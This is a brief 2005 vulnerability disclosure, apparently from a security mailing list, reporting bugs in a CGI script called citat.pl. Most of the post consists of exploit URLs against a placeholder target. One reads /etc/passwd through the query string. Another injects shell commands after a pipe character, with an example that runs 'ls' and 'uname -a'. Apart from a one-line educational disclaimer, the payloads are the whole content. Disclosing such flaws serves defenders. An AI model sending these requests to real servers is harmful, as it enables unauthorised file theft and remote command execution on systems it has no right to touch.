remote command execution in citat.pl script

[fireboy fireboy <fireboynet@xxxxxxxxxxxx>]

Tunis 24/04/2005
BUG found by fireboy
fireboy@xxxxxxxxxxxx



THERE ARE SOME BUGS IN  citat.pl SCRIPT THAT CAN SHOW SENSILBLES FILES IN A 
SYSTEM 
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE 


1)file showing
http://www.target.com/cgi-bin/citat.pl?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/citat.pl?|command


ex:
http://www.target.com/cgi-bin/citat.pl?|ls;uname -a;



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